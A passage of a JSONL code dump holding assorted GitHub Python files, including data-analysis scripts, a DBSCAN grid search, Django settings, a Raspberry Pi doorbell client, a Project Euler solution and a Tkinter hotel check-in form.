[[train_texts[i], train_labels[i]] for i in range(len(train_texts))]\n val_dataset = [[test_texts[i], test_labels[i]] for i in range(len(test_texts))]\n return train_dataset, val_dataset\n# load_all_yahoo()\n","repo_name":"FengyiQuan/REPLICATION-AND-FURTHER-ANALYSIS-ON-PROBA-BILITY-WEIGHTED-WORD-SALIENCY","sub_path":"Code/data_reader.py","file_name":"data_reader.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6968946499","text":"def double(string):\r\n newWord = ''\r\n for i in string:\r\n newWord += i*multiplier\r\n print(newWord)\r\n print()\r\n print(newWord)\r\n\r\nword = input('What is the word?\\n')\r\nmultiplier = int(input('Double? Triple? Enter the number of letters to multiply the letters\\n'))\r\ndouble(word)\r\n","repo_name":"randomperson313/hello-world","sub_path":"doublecharacter.py","file_name":"doublecharacter.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9358594633","text":"'''TASK8:分析随日期变化,评分变化情况。\n生成:“复仇者联盟4随日期而变化的评分情况折线图“一个文件。'''\n# 由于此代码是从文件“成功统计不同城市的评分平均数”里改编而来,故部分变量的名称中含有city\nimport pandas as pd\nimport re\nimport matplotlib.pyplot as plt\n\n# 导入city_short和scores这两列的数据成一个dataframe\nf = pd.read_csv(r'outtime切成两列.csv')\nf = pd.DataFrame(f)\ntwo = f.ix[:, ['one', 'scores']]\nprint(two)\n\n# 让m['one']中的时间排序下来而不是散乱着\nprint(two.dtypes) # 查看里面每一列的格式\ntwo = two.sort_values(by='one') # 让two中的数据按照one这一列中的时间来有顺序地排下来\nprint(two)\ntwo.reset_index(inplace=True) # 上面按时间排之后索引也会变掉,然后最后出来的答案就错了???不知道为什么,不过这一行代码可以把索引值变回1,2,3……然后出来的答案又对了\nprint(two)\nprint('-' * 20)\n\n# 选出名为“xx\"的城市,然后将其对应的scores求平均\n\n# 第一步:取出city_short和scores里面的数据分别弄成一个列表\ncity_short_list = two[\"one\"].tolist()\nscores_list = two[\"scores\"].tolist()\nprint(city_short_list)\nprint(scores_list)\n\n# 第二步:查看里面有哪些重复出现的日期\n\n# 统计列表中某个值出现的次数\nList = city_short_list\nd1 = {}\nfor i in List:\n if List.count(i) >= 1:\n d1[i] = List.count(i)\nprint(d1)\nprint('-' * 20)\n\n# 取出字典第二个值作为一个列表\nchengshi, number1 = d1.keys(), d1.values()\nprint(chengshi)\nprint(number1) # 这里有个number\nprint('-' * 20)\n\n# 把dict_keys变成列表,这样这个列表里面就是所有重复出现的城市的名字了\nnames = chengshi\nname_list1 = re.findall('\\'(.*?)\\'', str(names))\nprint(name_list1)\nx = range(len(name_list1))\nprint(x)\nprint('-' * 20)\n\n# 第二步:对城市进行循环,得到每个城市的分数\nfenshu = []\nfor p in name_list1:\n print(p)\n a = two[(two.one == p)].index.tolist()\n print(a)\n beijing_ = 0\n for m in a:\n number = scores_list[m]\n beijing_ = beijing_ + number\n print(beijing_)\n len2 = len(a)\n print(len2)\n beijing_num = float(\"{:.1f}\".format(beijing_ / len2))\n print(beijing_num) # 这样能够算出平均分\n fenshu.append(beijing_num)\nprint(fenshu)\n\n# 绘图\nfrom pylab import * # 支持中文\n\nmpl.rcParams['font.sans-serif'] = ['SimHei']\nplt.plot(x, fenshu, marker='o', mec='r', mfc='w') # 圆圈,红色,中心白\nplt.xticks(x, names, rotation=45)\nfor a, b in zip(x, fenshu):\n plt.text(a, b, b, ha='center', va='bottom', fontsize=10)\nplt.subplots_adjust(bottom=0.15)\nplt.xlabel(u\"具体日期\") # X轴标签\nplt.ylabel(\"用户打分的平均分\") # Y轴标签\nplt.title(\"复仇者联盟4随日期而变化的评分情况\") # 标题\nplt.savefig('./复仇者联盟4随日期而变化的评分情况折线图')\nplt.show()\n","repo_name":"Asaakii/SWUST","sub_path":"Python作业/--master/appendix/code/TASK8.py","file_name":"TASK8.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"11006620298","text":"from typing import List, Dict, Callable\n\nfrom machine.params import Parameters\nfrom machine.plugin import Plugin\nfrom machine.plugins.jsonrpc.types import RequestIDType\nfrom machine.plugins.sequence import sequence\nfrom machine.connection import Connection\nfrom machine.plugin import PluginGenerator, PluginResult\nfrom machine.types import JsonType\nfrom machine.exceptions.plugins.jsonrpc import MachineJsonRPCError\nfrom machine.exceptions.plugins.jsonrpc import JsonRPCInternalError\nfrom machine.exceptions.plugins.jsonrpc import JsonRPCMethodNotFoundError\nfrom machine.exceptions.plugins.jsonrpc import BadJsonRPCRequestError\n\n\nclass JsonRPCHandler:\n def __init__(\n self, plugins: List[PluginGenerator], method: Callable\n ) -> None:\n self._plugins = plugins\n self._method = method\n\n @property\n def method(self) -> Callable:\n return self._method\n\n @property\n def plugins(self) -> List[PluginGenerator]:\n return self._plugins\n\n\nclass JsonRPCHandlerPlugin(Plugin):\n def __init__(self, methods: Dict[str, JsonRPCHandler]) -> None:\n self._methods = methods\n\n async def _get_jsonrpc_body(self, conn: Connection) -> Dict:\n data = await conn.json()\n\n if (\n not isinstance(data, dict)\n or data.get(\"jsonrpc\", None) != \"2.0\"\n or \"id\" not in data\n or \"method\" not in data\n ):\n raise BadJsonRPCRequestError()\n\n return {\n \"id\": data[\"id\"],\n \"jsonrpc\": \"2.0\",\n \"method\": data[\"method\"],\n \"params\": data.get(\"params\", None),\n }\n\n async def _execute(\n self,\n request_id: RequestIDType,\n method_name: str,\n method: Callable,\n params: Parameters,\n method_params: Dict,\n ) -> JsonType:\n try:\n if method_params is None:\n return await method(**params.params)\n elif not isinstance(method_params, dict):\n return await method(method_params, **params.params)\n else:\n return await method(**{**params.params, **method_params})\n except Exception as exception:\n if isinstance(exception, MachineJsonRPCError):\n raise exception\n\n raise JsonRPCInternalError(\n request_id=request_id,\n method_name=method_name,\n message=str(exception),\n )\n\n async def __call__(\n self, conn: Connection, params: Parameters\n ) -> PluginResult:\n body = await self._get_jsonrpc_body(conn)\n method_params = body[\"params\"]\n method_name = body[\"method\"]\n request_id = body[\"request_id\"]\n del body[\"params\"]\n\n if method_name not in self._methods:\n raise JsonRPCMethodNotFoundError(\n method_name=method_name, request_id=request_id\n )\n\n handler = self._methods[method_name]\n\n if handler.plugins:\n async for conn, params in sequence(handler.plugins)()(\n conn, params\n ):\n pass\n\n result = await self._execute(\n body[\"id\"], method_name, handler.method, params, method_params\n )\n\n await conn.send_json(\n body={**body, \"result\": result},\n status_code=200,\n cookies={},\n headers={},\n )\n\n yield conn, params\n","repo_name":"kraglik/machine","sub_path":"machine/plugins/jsonrpc/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"26593405804","text":"import pandas as pd\nimport numpy as np\nfrom utils import clustering_dbscan\nfrom sklearn.neighbors import NearestNeighbors\n\n\ndef from_list_to_stats(metrics_dict: dict):\n \"\"\"\n Calculate the descriptive statistics of single day clustering metrics for the quarter\n \"\"\"\n metrics = ['noise_m_d', 'n_clusters', 'n_noise']\n for metric in metrics:\n list_metric = pd.Series(list(metrics_dict[metric]))\n m = (round(list_metric.mean(), 2), list_metric.max(), list_metric.min())\n metrics_dict[metric] = m\n return metrics_dict\n\n\ndef combine_keys_and_values(collections_features: dict):\n \"\"\"\n Add key with combination of avaliable collection. \n -Collection names;\n -Collection features.\n \"\"\"\n key = f'{list(collections_features.items())[0][0]}_{list(collections_features.items())[1][0]}'\n value = list(collections_features.values())[0] + list(collections_features.values())[1]\n collections_features[key] = value\n return collections_features\n\n\ndef from_dict_to_df(results: dict):\n \"\"\"\n Convert nested dictionary to multiindex dataframe.\n \"\"\"\n df_dict = {}\n for outerKey, innerDict in results.items():\n for innerKey, values in innerDict.items():\n df_dict[(outerKey, innerKey)] = values\n dataframe = pd.DataFrame(df_dict)\n return dataframe\n\n\ndef transpose_df(dataframe: pd.DataFrame):\n \"\"\"\n Transpose and rearrange metrics dataframe.\n \"\"\"\n dataframe_ = dataframe.transpose().reset_index()\n dataframe_.columns = ['param', 'metric', 'mean', 'max', 'min']\n return dataframe_\n\n\ndef noise_mean_distance(dbscan_model_, scaled):\n \"\"\"\n Clustering metric: Mean distance between noise points and its 6 Nearest Neighbours (6-NN)'.\n \n Parameters\n ----------\n dbscan_model_: Fitted DBSCAN Model.\n scaled: np.Array with standardized features.\n \n Returns\n ----------\n noise_m_distance: float score, single value per fitted model.\n \"\"\"\n noise_indices = dbscan_model_.labels_ == -1\n if True in noise_indices:\n neighboors = NearestNeighbors(n_neighbors=6).fit(scaled)\n distances, indices = neighboors.kneighbors(scaled)\n noise_distances = distances[noise_indices, 1:]\n noise_m_distance = round(noise_distances.mean(), 3)\n else:\n noise_m_distance = None\n return noise_m_distance\n\n\ndef dbscan_grid_search(oneday_table: pd.DataFrame, features: list, eps, min_samples):\n \"\"\"\n - Fit DBSCan model standard scaler + model fit;\n - Calculate mean distance between noise points and its 6 Nearest Neighbours (6-NN)';\n \n Parameters\n ----------\n oneday_table: single day Dataframe to be scaled;\n features: List of columns names (features) from dataframe to be standardized.\n eps: Epsilon parameter DBSCAN, controls the local neighborhood of the points.\n min_samples: Minimum sample parameter DBSCAN, sets the minimum number of points per cluster,\n controls how tolerant the algorithm is towards noise.\n \n Returns\n ----------\n dbscan_model_: Fitted DBSCAN Model.\n noise_m_distance: float score, single value per fitted model.\n \"\"\"\n dbscan_model_, scaled = clustering_dbscan.dbscan_model(oneday_table, features, eps, min_samples)\n noise_m_distance = noise_mean_distance(dbscan_model_, scaled)\n return dbscan_model_, noise_m_distance\n\n\ndef cluster_collections_grid_search(oneday_table: pd.DataFrame, collections_features: dict,\n eps: float, min_samples: int, metrics_dict: dict):\n \"\"\"\n - Select only the last collection avaliable at collections_features;\n - Fit DBSCan model standard scaler + model fit;\n - Calculate clustering metrics:\n Mean distance between noise points and its 6 Nearest Neighbours (6-NN)';\n Number of clusters;\n Number of noise points.\n -Append clustering metrics to dictionary.\n \n Parameters\n ----------\n oneday_table: single day Dataframe to be scaled;\n collections_features: Dictionary with avaliable collections and columns names (features)\n from dataframe to be standardized.\n eps: Epsilon parameter DBSCAN, controls the local neighborhood of the points.\n min_samples: Minimum sample parameter DBSCAN, sets the minimum number of points per cluster,\n controls how tolerant the algorithm is towards noise.\n \n Returns\n ----------\n metrics_dict: Clustering metrics to dictionary.\n metrics_dict = {'noise_m_d': [], 'n_clusters': [], 'n_noise': []}\n \"\"\"\n features = list(collections_features.values())[-1]\n dbscan_model_, noise_m_distance = dbscan_grid_search(oneday_table, features, eps, min_samples)\n metrics_dict['noise_m_d'].append(noise_m_distance)\n metrics_dict['n_clusters'].append(len(set(dbscan_model_.labels_[dbscan_model_.labels_ >= 0])))\n metrics_dict['n_noise'].append(list(dbscan_model_.labels_).count(-1))\n return metrics_dict\n\n\ndef cluster_quarter_grid_search(collections_table: pd.DataFrame, collections_features: dict,\n eps: float, min_samples: int):\n \"\"\"\n -Update collections_features with combination of avaliable collections field;\n -Create metrics dictionary;\n -List all dates in quarter;\n -For all dates fit DBSCan model and calculate clustering metrics.\n -Append clustering metrics to dictionary.\n \n Parameters\n ----------\n collections_table: Quarter Dataframe to be scaled;\n collections_features: Dictionary with avaliable collections and columns names (features)\n from dataframe to be standardized.\n eps: Epsilon parameter DBSCAN, controls the local neighborhood of the points.\n min_samples: Minimum sample parameter DBSCAN, sets the minimum number of points per cluster,\n controls how tolerant the algorithm is towards noise.\n \n Returns\n ----------\n metrics_dict: Clustering metrics to dictionary.\n metrics_dict = {'noise_m_d': [], 'n_clusters': [], 'n_noise': []}\n \"\"\"\n collections_features = combine_keys_and_values(collections_features)\n metrics_dict = {'noise_m_d': [], 'n_clusters': [], 'n_noise': []}\n date_list = list(collections_table.data.unique())\n for date in date_list:\n oneday_table = collections_table[collections_table.data == date]\n metrics_dict = cluster_collections_grid_search(oneday_table, collections_features, eps,\n min_samples, metrics_dict)\n return metrics_dict\n\n\ndef grid_search(collections_table, collections_features, min_test, max_test):\n \"\"\"\n -Calculate for all combinations of Hyperparameters the respective clustering metrics;\n -Calculate the descriptive statistics of the clustering metrics for the quarter;\n -Append clustering metrics descriptive statistics to dictionary.\n \n Parameters\n ----------\n collections_table: Quarter Dataframe to be scaled;\n collections_features: Dictionary with avaliable collections and columns names (features)\n from dataframe to be standardized;\n min_test: Minimum value of min_samples to be tested;\n max_test: Maximum value of min_samples to be tested.\n \n Returns\n ----------\n results: Clustering metrics descriptive statistics dictionary for every combination of\n hyperparameters.\n results = {(eps, min_samples): {'noise_m_d': (mean, max, min), 'n_clusters': (mean, max, min),\n 'n_noise': (mean, max, min)},\n \"\"\"\n eps_to_test = [round(eps, 1) for eps in np.arange(0.1, 2, 0.1)]\n min_samples_to_test = range(min_test, max_test + 1, 1)\n results = {}\n for eps in eps_to_test:\n for min_samples in min_samples_to_test:\n metrics_dict = cluster_quarter_grid_search(collections_table, collections_features,\n eps, min_samples)\n metrics_dict = from_list_to_stats(metrics_dict)\n key = (eps, min_samples)\n results[key] = metrics_dict\n return results\n\n\ndef select_best_hyparameters(results: dict, max_noise_percent: float, total_points=257):\n \"\"\"\n -Convert clustering metrics descriptive statistics dictionary to dataframe;\n -Transpose and rearrange dataframe.\n -Select the best hyperparameter combination:\n First Condition: The maximum number of noise points should not be greater than {max_noise_percent};\n Second Condition: The minimum number of clusters per model should be 2;\n Third Condition: From the remaining hyperparameter combinations choose the one with the lowest\n noise_m_distance score.\n \n Parameters\n ----------\n results: Clustering metrics descriptive statistics dictionary for every combination of\n hyperparameters.\n max_noise_percent: Maximum percentage of noise points allowed per model.\n total_points: Number of rows on single day Dataframe to be scaled.\n \n Returns\n ----------\n best_hp: best combination of hyperparameters tuple, (eps, min_samples).\n \"\"\"\n backup = (1.4, 2)\n df = from_dict_to_df(results)\n table = transpose_df(df)\n first_cond = list(\n table[(table['metric'] == 'n_noise') & (table['max'] <= total_points * max_noise_percent)].iloc[:, 0])\n table_1 = table[table['param'].isin(first_cond)]\n if len(table_1) > 1:\n second_cond = list(table_1[(table_1['metric'] == 'n_clusters') & (table_1['min'] > 2)].iloc[:, 0])\n table_2 = table_1[table_1['param'].isin(second_cond)]\n if len(table_2) > 1:\n best_hp = table_2[table_2['metric'] == 'noise_m_d'].sort_values(by='mean').iloc[0, 0]\n elif len(table_2) == 1:\n best_hp = table_2.iloc[0, 0]\n else:\n best_hp = backup\n elif len(table_1) == 1:\n best_hp = table_1.iloc[0, 0]\n else:\n best_hp = backup\n return best_hp\n\n\ndef best_hyperparameters(collections_table, collections_features, min_test=2, max_test=5, max_noise_percent=0.33):\n \"\"\"\n Grid search and select best Hyperparameters combination for DBSCAN clustering.\n \n Parameters\n ----------\n collections_table: Quarter Dataframe to be scaled;\n collections_features: Dictionary with avaliable collections and columns names (features)\n from dataframe to be standardized.\n min_test: Minimum value of min_samples to be tested;\n max_test: Maximum value of min_samples to be tested.\n max_noise_percent: Maximum percentage of noise points allowed per model.\n \n Returns\n ----------\n eps: Best epsilon parameter DBSCAN clustering.\n min_samples: Best minimum sample parameter DBSCAN clustering.\n \"\"\"\n results = grid_search(collections_table, collections_features, min_test, max_test)\n best_hp = select_best_hyparameters(results, max_noise_percent)\n eps = best_hp[0]\n min_samples = best_hp[1]\n return eps, min_samples\n","repo_name":"i-cavalcanti/Clustering-agriculture","sub_path":"DBSCAN/utils/grid_search_dbscan.py","file_name":"grid_search_dbscan.py","file_ext":"py","file_size_in_byte":10796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6684293391","text":"\"\"\"\nProfiling tools and utils for vodka\n\"\"\"\n\n###############################################################################\n# Extend Pympler - memory profiling tool\n\nfrom pympler import summary, muppy\nfrom pympler.util import stringutils\n\ndef pympler_snapshot(rows=None, limit=15, sort=\"size\", order=\"descending\"):\n \"\"\"Print the rows as a summary.\n\n Keyword arguments:\n limit -- the maximum number of elements to be listed\n sort -- sort elements by 'size', 'type', or '#'\n order -- sort 'ascending' or 'descending'\n \"\"\"\n \n if not rows:\n rows = summary.summarize(muppy.get_objects())\n\n localrows = []\n for row in rows:\n localrows.append(list(row))\n # input validation\n sortby = ['type', '#', 'size']\n if sort not in sortby:\n raise ValueError(\"invalid sort, should be one of\" + str(sortby))\n orders = ['ascending', 'descending']\n if order not in orders:\n raise ValueError(\"invalid order, should be one of\" + str(orders))\n # sort rows\n if sortby.index(sort) == 0:\n if order == \"ascending\":\n localrows.sort(key=lambda x: _repr(x[0]))\n elif order == \"descending\":\n localrows.sort(key=lambda x: _repr(x[0]), reverse=True)\n else:\n if order == \"ascending\":\n localrows.sort(key=lambda x: x[sortby.index(sort)])\n elif order == \"descending\":\n localrows.sort(key=lambda x: x[sortby.index(sort)], reverse=True)\n # limit rows\n localrows = localrows[0:limit]\n for row in localrows:\n row[2] = stringutils.pp(row[2])\n # print rows\n localrows.insert(0, [\"types\", \"# objects\", \"total size\"])\n return pympler_prepare(localrows)\n\n\ndef pympler_prepare(rows, header=False):\n \"\"\"Print a list of lists as a pretty table.\n\n Keyword arguments:\n header -- if True the first row is treated as a table header\n\n inspired by http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267662\n \"\"\"\n border = \"=\"\n # vertical delimiter\n vdelim = \" | \"\n # padding nr. of spaces are left around the longest element in the\n # column\n padding = 1\n # may be left,center,right\n justify = 'right'\n justify = {'left': str.ljust,\n 'center': str.center,\n 'right': str.rjust}[justify.lower()]\n # calculate column widths (longest item in each col\n # plus \"padding\" nr of spaces on both sides)\n cols = zip(*rows)\n colWidths = [max([len(str(item)) + 2 * padding for item in col])\n for col in cols]\n\n borderline = vdelim.join([w * border for w in colWidths]) \n result = \"\"\n for row in rows:\n result += \"%s\\n\" % (vdelim.join([justify(str(item), width)\n for (item, width) in zip(row, colWidths)]))\n if header:\n result += \"%s\\n\" % (borderline)\n header = False\n \n #result = []\n #for row in rows:\n # result.append(tuple([str(item)\n # for (item, width) in zip(row, colWidths)]))\n return result\n\n###############################################################################\n","repo_name":"20c/vodka1","sub_path":"twentyc/vodka/tools/profiling.py","file_name":"profiling.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25353385665","text":"import os\nimport json\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nassert 'CANDELABRUS_CONFIG' in os.environ\nCONFIG_PATH = os.environ['CANDELABRUS_CONFIG']\nassert os.path.isfile(CONFIG_PATH)\n\nwith open(CONFIG_PATH) as file:\n locals().update(json.load(file))\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.gis',\n 'django_extensions',\n 'mptt',\n 'django_mptt_admin',\n 'markdownx',\n 'colorful',\n 'users',\n 'location',\n 'candelabrus',\n 'nietz',\n 'dejure',\n 'mereokratos',\n 'fons',\n 'darwin',\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')]\n ,\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'wsgi.application'\n\nAUTH_USER_MODEL = 'users.User'\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nLOCALE_PATHS = [\n '../locale'\n]\nUSE_TZ = True\n\nSTATICFILES_FINDERS = [\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n]\n\nSTATICFILES_DIRS = [\n \"static\"\n]\n\nSTATIC_URL = \"/static/\"\nMEDIA_URL = \"/media/\"\n\ntry:\n DEBUG\nexcept NameError:\n DEBUG = False\n\nif DEBUG:\n CSRF_COOKIE_SECURE = False\n SESSION_COOKIE_SECURE = False\nelse:\n CSRF_COOKIE_SECURE = True\n SESSION_COOKIE_SECURE = True\n","repo_name":"candelabrus/Candelabrus","sub_path":"source/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8362132407","text":"from __future__ import (\n print_function,\n)\n\nimport logging\nimport requests\nimport RPi.GPIO as GPIO\nimport time\n\nSERVER_URL = 'http://doorbell-to-2580.herokuapp.com'\nRING_URL = '%s/ring' % SERVER_URL\nPOLL_URL = '%s/longpoll_open' % SERVER_URL\n\nPIN_IN = 4\nPIN_OUT = 24\n\ndef rpio_setup():\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(PIN_IN, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n GPIO.setup(PIN_OUT, GPIO.OUT, initial=0)\n\ndef wait_for_ring():\n while GPIO.input(PIN_IN) == 0:\n pass\n\ndef open_door():\n GPIO.output(PIN_OUT, 1)\n time.sleep(7)\n GPIO.output(PIN_OUT, 0)\n\ndef ring_door():\n logging.info(\"Ringing door\")\n r = requests.get(RING_URL)\n r.raise_for_status()\n\ndef should_open():\n logging.info(\"Waiting to open\")\n r = requests.get(POLL_URL)\n if r.text == 'open':\n logging.info(\"Opening door\")\n return True\n else:\n logging.info(\"Didn't get door-open-response:\\n%s\" % r.text)\n return False\n\ndef main():\n FORMAT = '%(asctime)-15s %(message)s'\n logging.basicConfig(level=logging.INFO, format=FORMAT)\n logging.info(\"Starting up\")\n\n rpio_setup()\n\n while True:\n wait_for_ring()\n ring_door()\n if should_open():\n open_door()\n\nif __name__ == '__main__':\n main()\n","repo_name":"nipunn1313/doorbell","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43418591767","text":"def find_island(start_x,start_y):\r\n dx = [1,1,1,0,0,-1,-1,-1]\r\n dy = [-1,0,1,-1,1,-1,0,1]\r\n\r\n stack = list()\r\n stack.append([start_x,start_y])\r\n while stack:\r\n tmp = stack.pop()\r\n island_map[tmp[0]][tmp[1]] = 0\r\n for i in range(8):\r\n tmp_x = tmp[0]+dx[i]\r\n tmp_y = tmp[1]+dy[i]\r\n if 0<=tmp_x(n1+n2+.....+n10)/10\n# dica: podemos usar estruturas de repetição tipo o for e definir o range....)\n\nqtNum = int(input(\"Quantos notas terá no calculo: \"))\nnum = []\n\nfor a in range(qtNum):\n \n\n print(num)","repo_name":"BRTytan/functionAndOOP","sub_path":"ex03.py","file_name":"ex03.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37402043691","text":"\"\"\"\nAll square roots are periodic when written as continued fractions and can be\nwritten in the form:\n\n√N = a0 + 1\n / a1 + 1\n / a2 + 1\n / a3 + ...\n\nFor example, let us consider √23:\n\n√23 = 4 + √23 - 4\n = 4 + 1\n / 1\n / √23 - 4\n = 4 + 1\n / √23 + 4\n / 7\n = 4 + 1\n / 1 + √23 - 3\n / 7\n\nIf we continue we would get the following expansion:\n\n√23 = 4 + 1\n / 1 + 1\n / 3 + 1\n / 1 + 1\n / 8 + ...\n\nThis process can be summarised as follows:\n\na0 = 4, 1 / (√23 - 4) = (√23 + 4) / 7\n = 1 + (√23 - 3) / 7\na1 = 1, 7 / (√23 - 3) = 7(√23 + 3) / 14\n = 3 + (√23 - 3) / 2\na2 = 3, 2 / (√23 - 3) = 2(√23 + 3) / 14\n = 1 + (√23 - 4) / 7\na3 - 1, 7 / (√23 - 4) = 7(√23 + 4) / 7\n = 8 + √23 - 4\na4 = 8, 1 / (√23 - 4) = (√23 + 4) / 7\n = 1 + (√23 - 3) / 7\na5 = 1, 7 / (√23 - 3) = 7(√23 + 3) / 14\n = 3 + (√23 - 3) / 2\na6 = 3, 2 / (√23 - 3) = 2(√23 + 3) / 14\n = 1 + (√23 - 4) / 7\na7 = 1, 7 / (√23 - 4) = 7(√23 + 4) / 7\n = 8 + √23 - 4\n\nIt can be seen that the sequence is repeating. For conciseness, we use the\nnotation √23 = [4; (1, 3, 1, 8)] to indicate that the block (1, 3, 1, 8)\nrepeats indefinitely.\n\nThe first ten continued fraction representations of (irrational) square roots\nare:\n\n√2 = [1; (2)], period = 1\n√3 = [1; (1, 2)], period = 2\n√5 = [2; (4)], period = 1\n√6 = [2; (2, 4)], period = 2\n√7 = [2; (1, 1, 1, 4)], period = 4\n√8 = [2; (1, 4)], period = 2\n√10 = [3; (6)], period = 1\n√11 = [3; (3, 6)], period = 2\n√12 = [3; (2, 6)], period = 2\n√13 = [3; (1, 1, 1, 1, 6)], period = 5\n\nExactly four continued fractions, for N ≤ 13, have an odd period.\n\nHow many continued fractions for N ≤ 10000 have an odd period?\n\"\"\"\n\nfrom math import floor\n\ndef cont_sqrt(x):\n \"\"\"Returns the continued fraction of the square root of a number.\"\"\"\n m = 0\n d = 1\n a0 = floor(x ** 0.5)\n a = a0\n triplet_list = []\n frac_list = []\n if x ** 0.5 - a0 == 0:\n return (a0, frac_list)\n while True:\n triplet_list.append((m, d, a))\n m = d * a - m\n d = (x - m ** 2) / d\n a = floor((a0 + m) / d)\n if (m, d, a) in triplet_list:\n return (a0, frac_list)\n else:\n frac_list.append(a)\n\nif __name__ == '__main__':\n answer = 0\n for i in range(2, 10001):\n if len(cont_sqrt(i)[1]) % 2 == 1:\n answer += 1\n print(answer)\n","repo_name":"aarond0623/projecteuler","sub_path":"problem064.py","file_name":"problem064.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35784361000","text":"# Booking Check In\n# Nama Penanggung Jawab : Alifiya Brizita Shary\n\n# Progress : Sudah berfungsi\n# Melakukan Check In pada Hotel, yaitu Booking Check In yang dilakukan oleh pelanggan melalui booking online\n# Menggunakan warna-warna yang sudah dilabeli hex color\n\nimport sys\nimport datetime\nimport mariadb\nimport tkinter as tk\nfrom datetime import datetime\nimport os\nfrom connectdatabase import conn\n# from tkcalendar import Calendar\nfrom tkinter import *\nfrom tkinter import ttk, messagebox\nfrom datetime import date\n\nclass ClassBookingCheckIn():\n\n def BookingCheckIn(self, window):\n global screenBooking\n window.destroy()\n screenBooking = Tk()\n screenBooking.title(\"myHotel\")\n screenBooking.geometry(\"1270x690\")\n screenBooking.config(bg=\"#F7F0F5\")\n\n global nikPelangganBook\n global noKamarBook\n global nikPelangganBook_var\n global noKamarBook_var\n nikPelangganBook = StringVar()\n noKamarBook = StringVar()\n\n def backToHomeCheckIn():\n from checkIn import ClassCheckIn\n ClassCheckIn().homeCheckIn(screenBooking)\n\n # Title\n self.showTitle(screenBooking)\n # Sectione Title\n Label(screenBooking, text = \"Booking Check-In\", font = (\"Helvetica\", 10, \"bold\"), bg=\"#F7F0F5\").place(x = 635, y = 140,anchor=\"center\")\n\n # Entry box NIK Pelanggan\n Label(screenBooking, text = \"NIK Pelanggan\", font = (\"Helvetica\", 12, \"bold\"), bg=\"#F7F0F5\").place(x = 485, y = 220)\n nikPelangganBook_var = Entry(screenBooking, textvariable= nikPelangganBook,font=(\"Helvetica\", 12), bg = \"#DECBB7\", fg = \"black\")\n nikPelangganBook_var.place(x = 635, y = 250, width = 300, height = 30,anchor=\"n\")\n\n # Entry box Nomor Kamar \n Label(screenBooking, text = \"Nomor Kamar \", font = (\"Helvetica\", 12, \"bold\"), bg=\"#F7F0F5\").place(x = 485, y = 300)\n noKamarBook_var= Entry(screenBooking, textvariable= noKamarBook,font=(\"Helvetica\", 12), bg = \"#DECBB7\", fg = \"black\")\n noKamarBook_var.place(x = 635, y = 330, width = 300, height = 30,anchor=\"n\")\n\n # Button next menuju cek ketersediaan kamar \n Button(screenBooking, text = \"Cek Kamar\" ,font = (\"Helvetica\", 12, \"bold\"), bg=\"#DECBB7\", width = 10, height = 1, command = self.verifikasiBookingCheckIn).place(x = 670, y = 400)\n # Button kembali ke menu utama Check In\n Button(screenBooking, text = \"Kembali\", font = (\"Helvetica\", 12, \"bold\"), bg=\"#FF595E\", width = 10, height = 1, command = backToHomeCheckIn).place(x = 520, y = 400)\n \n \n screenBooking.mainloop()\n\n\n def verifikasiBookingCheckIn(self):\n \n # Buka koneksi dengan database mysql\n conn\n \n # Execute Query\n 